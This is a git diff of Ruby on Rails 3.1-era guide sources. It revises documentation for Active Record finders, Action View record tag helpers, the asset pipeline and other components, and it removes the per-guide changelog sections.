diff options
Diffstat (limited to 'railties/guides/source')
35 files changed, 558 insertions, 457 deletions
diff --git a/railties/guides/source/3_1_release_notes.textile b/railties/guides/source/3_1_release_notes.textile index 7de8866ff6..c4da87dc34 100644 --- a/railties/guides/source/3_1_release_notes.textile +++ b/railties/guides/source/3_1_release_notes.textile @@ -271,7 +271,7 @@ Post.new(params[:post], :as => :admin) * +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed. -* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is not recommended to use +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records. +* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records. * Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations. @@ -315,7 +315,7 @@ end <ruby> class MyMigration < ActiveRecord::Migration def change - create_table(:horses) do + create_table(:horses) do |t| t.column :content, :text t.column :remind_at, :datetime end diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile index 073e3bddcf..d8d66302fe 100644 --- a/railties/guides/source/action_controller_overview.textile +++ b/railties/guides/source/action_controller_overview.textile @@ -684,9 +684,11 @@ end This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option. +If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used. + WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see. -TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work. +TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. h4. RESTful Downloads @@ -813,9 +815,3 @@ end </ruby> Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file. - -h3. Changelog - -* February 17, 2009: Yet another proofread by Xavier Noria. - -* November 4, 2008: First release version by Tore Darell diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile index 142b9dba7e..ad5b848d2c 100644 --- a/railties/guides/source/action_mailer_basics.textile +++ b/railties/guides/source/action_mailer_basics.textile @@ -467,7 +467,7 @@ The following configuration options are best made in one of the environment file h4. Example Action Mailer Configuration -An example would be adding the following to your appropriate <tt>config/environments/env.rb</tt> file: +An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :sendmail @@ -482,7 +482,7 @@ config.action_mailer.raise_delivery_errors = true h4. Action Mailer Configuration for GMail -As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/env.rb</tt> file: +As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :smtp @@ -514,14 +514,10 @@ class UserMailerTest < ActionMailer::TestCase # Test the body of the sent email contains what we expect it to assert_equal [user.email], email.to assert_equal "Welcome to My Awesome Site", email.subject - assert_match /<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded - assert_match /Welcome to example.com, #{user.name}/, email.encoded + assert_match(/<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded) + assert_match(/Welcome to example.com, #{user.name}/, email.encoded) end end </ruby> In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. - -h3. Changelog - -* September 30, 2010: Fixed typos and reformatted Action Mailer configuration table for better understanding. "Jaime Iniesta":http://jaimeiniesta.com diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile index 5a1e8b1247..40cde6ad84 100644 --- a/railties/guides/source/action_view_overview.textile +++ b/railties/guides/source/action_view_overview.textile @@ -454,6 +454,83 @@ input("post", "title") # => <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /> </ruby> +h4. RecordTagHelper + +This module provides methods for generating a container tag, such as a +<div>+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use. + +h5. content_tag_for + +Renders a container tag that relates to your Active Record Object. + +For example, given +@post+ is the object of +Post+ class, you can do: + +<ruby> +<%= content_tag_for(:tr, @post) do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +This will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +</html> + +You can also supply HTML attributes as an additional option hash. For example: + +<ruby> +<%= content_tag_for(:tr, @post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</tr> +</html> + +You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects: + +<ruby> +<%= content_tag_for(:tr, @posts) do |post| %> + <td><%= post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +<tr id="post_1235" class="post"> + <td>Ruby on Rails Rocks!</td> +</tr> +</html> + +h5. div_for + +This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example: + +<ruby> +<%= div_for(@post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<div id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</div> +</html> + h4. AssetTagHelper This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds. @@ -821,7 +898,7 @@ h5. select_year Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+. <ruby> -# Generates a select field for five years on either side of +Date.today+ that defaults to the current year +# Generates a select field for five years on either side of Date.today that defaults to the current year select_year(Date.today) # Generates a select field from 1900 to 2009 that defaults to the current year @@ -1418,10 +1495,3 @@ end Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users. You can read more about the Rails Internationalization (I18n) API "here":i18n.html. - -h3. Changelog - -* May 29, 2011: Removed references to remote_* helpers - Vijay Dev -* April 16, 2011: Added 'Using Action View with Rails', 'Templates' and 'Partials' sections. "Sebastian Martinez":http://wyeworks.com -* September 3, 2009: Continuing work by Trevor Turk, leveraging the Action Pack docs and "What's new in Edge Rails":http://ryandaigle.com/articles/2007/8/3/what-s-new-in-edge-rails-partials-get-layouts -* April 5, 2009: Starting work by Trevor Turk, leveraging Mike Gunderloy's docs diff --git a/railties/guides/source/active_model_basics.textile b/railties/guides/source/active_model_basics.textile index 0672669dc5..9c8ad24cee 100644 --- a/railties/guides/source/active_model_basics.textile +++ b/railties/guides/source/active_model_basics.textile @@ -163,12 +163,14 @@ person.first_name_changed? #=> true </ruby> Track what was the previous value of the attribute. + <ruby> #attr_name_was accessor person.first_name_was #=> "First Name" </ruby> Track both previous and current value of the changed attribute. Returns an array if changed else returns nil + <ruby> #attr_name_change person.first_name_change #=> ["First Name", "First Name 1"] @@ -201,8 +203,3 @@ person.valid? #=> true person.token = nil person.valid? #=> raises ActiveModel::StrictValidationFailed </ruby> - -h3. Changelog - -* August 24, 2011: Add strict validation usage example. "Bogdan Gusiev":http://gusiev.com -* August 5, 2011: Initial version by "Arun Agrawal":http://github.com/arunagw diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile index 4e77a6e803..96f91cfef6 100644 --- a/railties/guides/source/active_record_querying.textile +++ b/railties/guides/source/active_record_querying.textile @@ -132,7 +132,7 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 <tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised. -h5. +first!+ +h5(#first_1). +first!+ <tt>Model.first!</tt> finds the first record. For example: @@ -149,7 +149,7 @@ SELECT * FROM clients LIMIT 1 <tt>Model.first!</tt> raises +RecordNotFound+ if no matching record is found. -h5. +last!+ +h5(#last_1). +last!+ <tt>Model.last!</tt> finds the last record. For example: @@ -1018,23 +1018,86 @@ If you want to find both by name and locked, you can chain these finders togethe WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+. -There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_first_name(params[:first_name])+. Using this will first perform a find and then create if the find returns +nil+. The SQL looks like this for +Client.find_or_create_by_first_name("Ryan")+: +h3. Find or build a new object + +It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods. + +h4. +first_or_create+ + +The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example. + +Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running: + +<ruby> +Client.where(:first_name => 'Andy').first_or_create(:locked => false) +# => <Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> +</ruby> + +The SQL generated by this method looks like this: <sql> -SELECT * FROM clients WHERE (clients.first_name = 'Ryan') LIMIT 1 +SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1 BEGIN -INSERT INTO clients (first_name, updated_at, created_at, orders_count, locked) - VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0') +INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57') COMMIT </sql> -+find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similarly to calling +new+ with the arguments you passed in. For example: ++first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned. + +The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+). + +It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method. + +You can do the same with the +find_or_create_by+ method: <ruby> -client = Client.find_or_initialize_by_first_name('Ryan') +Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false) </ruby> -will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:first_name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it. +This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall. + +h4. +first_or_create!+ + +You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add + +<ruby> +validates :orders_count, :presence => true +</ruby> + +to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised: + +<ruby> +Client.where(:first_name => 'Andy').first_or_create!(:locked => false) +# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank +</ruby> + +h4. +first_or_initialize+ + +The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick': + +<ruby> +nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false) +# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> + +nick.persisted? +# => false + +nick.new_record? +# => true +</ruby> + +Because the object is not yet stored in the database, the SQL generated looks like this: + +<sql> +SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1 +</sql> + +When you want to save it to the database, just call +save+: + +<ruby> +nick.save +# => true +</ruby> h3. Finding by SQL @@ -1185,12 +1248,3 @@ Client.sum("orders_count") </ruby> For options, please see the parent section, "Calculations":#calculations. - -h3. Changelog - -* June 26 2011: Added documentation for the +scoped+, +unscoped+ and +default+ methods. "Ryan Bigg":credits.html#radar -* December 23 2010: Add documentation for the +scope+ method. "Ryan Bigg":credits.html#radar -* April 7, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* February 3, 2010: Update to Rails 3 by "James Miller":credits.html#bensie -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile index aba3224ba7..5c3aae2955 100644 --- a/railties/guides/source/active_record_validations_callbacks.textile +++ b/railties/guides/source/active_record_validations_callbacks.textile @@ -328,7 +328,7 @@ This helper validates that your attributes have only numeric values. By default, If you set +:only_integer+ to +true+, then it will use the <ruby> -/\A[+-]?\d+\Z/ +/\A[<plus>-]?\d<plus>\Z/ </ruby> regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+. @@ -597,7 +597,7 @@ The easiest way to add custom validators for validating individual attributes is <ruby> class EmailValidator < ActiveModel::EachValidator def validate_each(record, attribute, value) - unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i + unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i record.errors[attribute] << (options[:message] || "is not an email") end end @@ -1267,14 +1267,3 @@ end </ruby> The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. - -h3. Changelog - -* February 17, 2011: Add description of transaction callbacks. -* July 20, 2010: Fixed typos and rephrased some paragraphs for clarity. "Jaime Iniesta":http://jaimeiniesta.com -* May 24, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* May 15, 2010: Validation Errors section updated by "Emili Parreño":http://www.eparreno.com -* March 7, 2009: Callbacks revision by Trevor Turk -* February 10, 2009: Observers revision by Trevor Turk -* February 5, 2009: Initial revision by Trevor Turk -* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques diff --git a/railties/guides/source/active_resource_basics.textile b/railties/guides/source/active_resource_basics.textile index 3294227f7b..851aac1a3f 100644 --- a/railties/guides/source/active_resource_basics.textile +++ b/railties/guides/source/active_resource_basics.textile @@ -118,7 +118,3 @@ This validates the resource with any local validations written in base class and h5. valid? Runs all the local validations and will return true if no errors. - -h3. Changelog - -* July 30, 2011: Initial version by "Vishnu Atrai":http://github.com/vatrai
\ No newline at end of file diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile index b2436a2e68..5aee001545 100644 --- a/railties/guides/source/active_support_core_extensions.textile +++ b/railties/guides/source/active_support_core_extensions.textile @@ -296,7 +296,7 @@ This method escapes whatever is needed, both for the key and the value: <ruby> account.to_query('company[name]') -# => "company%5Bname%5D=Johnson+%26+Johnson" +# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson" </ruby> so its output is ready to be used in a query string. @@ -1020,7 +1020,7 @@ class A class_attribute :x, :instance_reader => false end -A.x = 1 # NoMethodError +A.new.x = 1 # NoMethodError </ruby> For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+. @@ -3385,7 +3385,7 @@ They are analogous. Please refer to their documentation above and take into acco Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> -# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. +# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST. t = Time.local_time(2010, 3, 28, 1, 59, 59) # => Sun Mar 28 01:59:59 +0100 2010 t.advance(:seconds => 1) @@ -3408,7 +3408,7 @@ The method +all_day+ returns a range representing the whole day of the current t now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_day -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00 +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00 </ruby> Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges. @@ -3417,13 +3417,13 @@ Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_week -# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00 +# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00 now.all_month -# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00 +# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00 now.all_quarter -# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00 +# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00 now.all_year -# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00 +# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00 </ruby> h4. Time Constructors @@ -3518,8 +3518,8 @@ h4. +around_[level]+ Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+: <ruby> - logger = Logger.new("log/development.log") - logger.around_info("before", "after") { |logger| logger.info("during") } +logger = Logger.new("log/development.log") +logger.around_info("before", "after") { |logger| logger.info("during") } </ruby> h4. +silence+ @@ -3599,8 +3599,3 @@ end </ruby> NOTE: Defined in +active_support/core_ext/load_error.rb+. - -h3. Changelog - -* August 10, 2010: Starts to take shape, added to the index. -* April 18, 2009: Initial version by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile index 77f7661deb..29d4fae888 100644 --- a/railties/guides/source/ajax_on_rails.textile +++ b/railties/guides/source/ajax_on_rails.textile @@ -104,7 +104,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet link_to_remote "Update record", :url => record_url(record), :method => :put, - :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')" + :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')" </ruby> This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id). @@ -124,6 +124,7 @@ link_to_remote "Add new item", 404 => "alert('Item not found!')" </ruby> Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action: + <ruby> link_to_remote "Add new item", :url => items_url, @@ -133,6 +134,7 @@ link_to_remote "Add new item", :success => "display_item_added(request)", :failure => "display_error(request)" </ruby> + ** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+. * Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though: ** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile index 3ebf0e10f1..99eb668513 100644 --- a/railties/guides/source/api_documentation_guidelines.textile +++ b/railties/guides/source/api_documentation_guidelines.textile @@ -146,7 +146,7 @@ h3. Description Lists In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols): <ruby> -# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. +# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>. </ruby> The description starts in upper case and ends with a full stop—it's standard English. @@ -183,7 +183,3 @@ self.class_eval %{ end } </ruby> - -h3. Changelog - -* July 17, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile index d621dd5a70..7795b297f3 100644 --- a/railties/guides/source/asset_pipeline.textile +++ b/railties/guides/source/asset_pipeline.textile @@ -13,16 +13,22 @@ endprologue. h3. What is the Asset Pipeline? -The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, SCSS and ERB. +The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB. -Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through ActionPack which depends on the +sprockets+ gem, by default. +Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default. -By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "Fast by default" strategy as outlined by DHH in his 2011 keynote at Railsconf. +By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011. -In new Rails 3.1 application the asset pipeline is enabled by default. It can be disabled in +application.rb+ by putting this line inside the +Application+ class definition: +In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition: -<plain> +<ruby> config.assets.enabled = false +</ruby> + +You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option. + +<plain> +rails new appname --skip-sprockets </plain> It is recommended that you use the defaults for all new apps. @@ -30,24 +36,26 @@ It is recommended that you use the defaults for all new apps. h4. Main Features -The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page. While Rails already has a feature to concatenate these types of assets -- by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+ -- many people do not use it. +The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page. + +While Rails already has a feature to concatenate these types of assets -- by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+ --, it has a series of limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production, an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered. The second feature is to minify or compress assets. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. -The third feature is the ability to code these assets using another language, or language extension. These include SCSS or Sass for CSS, CoffeeScript for JavaScript, and ERB for both. +The third feature is the ability to code these assets using another language, or language extension. These include Sass for CSS, CoffeeScript for JavaScript, and ERB for both. h4. What is Fingerprinting and Why Should I Care? -Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated is altered to be unique to the content contained in the file. +Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated are altered to be unique to the content contained in the file. -When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cachebusting_. +When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cache busting_. -The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the hash. +The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the digest, for example becoming: <plain> -global.css => global-908e25f4bf641868d8683022a5b62f54.css +global-908e25f4bf641868d8683022a5b62f54.css </plain> This is the strategy adopted by the Rails asset pipeline. @@ -62,8 +70,8 @@ This has several disadvantages: <ol> <li> - <strong>Not all caches will cache content with a query string</strong><br> - "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in these case 5-20% of requests will not be cached. + <strong>Not all caches will cache content with a query string</strong>.<br> + "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. </li> <li> <strong>The file name can change between nodes in multi-server environments.</strong><br> @@ -71,9 +79,9 @@ This has several disadvantages: </li> </ol> -The other problem is that when static assets are deployed with each new release of code, the mtime of *all* these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. +The other problem is that when static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. -Fingerprinting avoids all these problems by ensuring filenames are consistent based on their content. +Fingerprinting fixes these problems by avoiding query strings, and by ensuring filenames are consistent based on their content. Fingerprinting is enabled by default for production and disabled for all the others environments. You can enable or disable it in your configuration through the +config.assets.digest+ option. @@ -89,10 +97,14 @@ In previous versions of Rails, all assets were located in subdirectories of +pub This is not to say that assets can (or should) no longer be placed in +public+; they still can be and will be served as static files by the application or web server. You would only use +app/assets+ if you wish your files to undergo some pre-processing before they are served. -When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-script+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller. +In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the web server. + +When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller. For example, if a +ProjectsController+ is generated, there will be a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+. +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + h4. Asset Organization Assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. @@ -103,13 +115,17 @@ Assets can be placed inside an application in one of three locations: +app/asset +vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins. -All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are looked through to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served. +All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are traversed to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served. -h4. Coding Links to Assets +You can add additional (fully qualified) paths to the pipeline in +config/application.rb+. For example: -To access assets, you use the same tags that you are generally familiar with: +<ruby> +config.assets.paths << "#{Rails.root}/app/assets/flash" +</ruby> -Sprockets does not add any new methods to require your assets, you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+. +h4. Coding Links to Assets + +Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+. <erb> <%= stylesheet_link_tag "application" %> @@ -122,19 +138,29 @@ In regular views you can access images in the +assets/images+ directory like thi <%= image_tag "rails.png" %> </erb> -Images can be organized into directories if required, and they can be accessed by specifying the directory's name in the tag: +Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the webserver. + +Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide. + +Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines. + +Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag: <erb> <%= image_tag "icons/rails.png" %> </erb> -Providing that assets are enabled within your application (+config.assets.enabled+ in the current 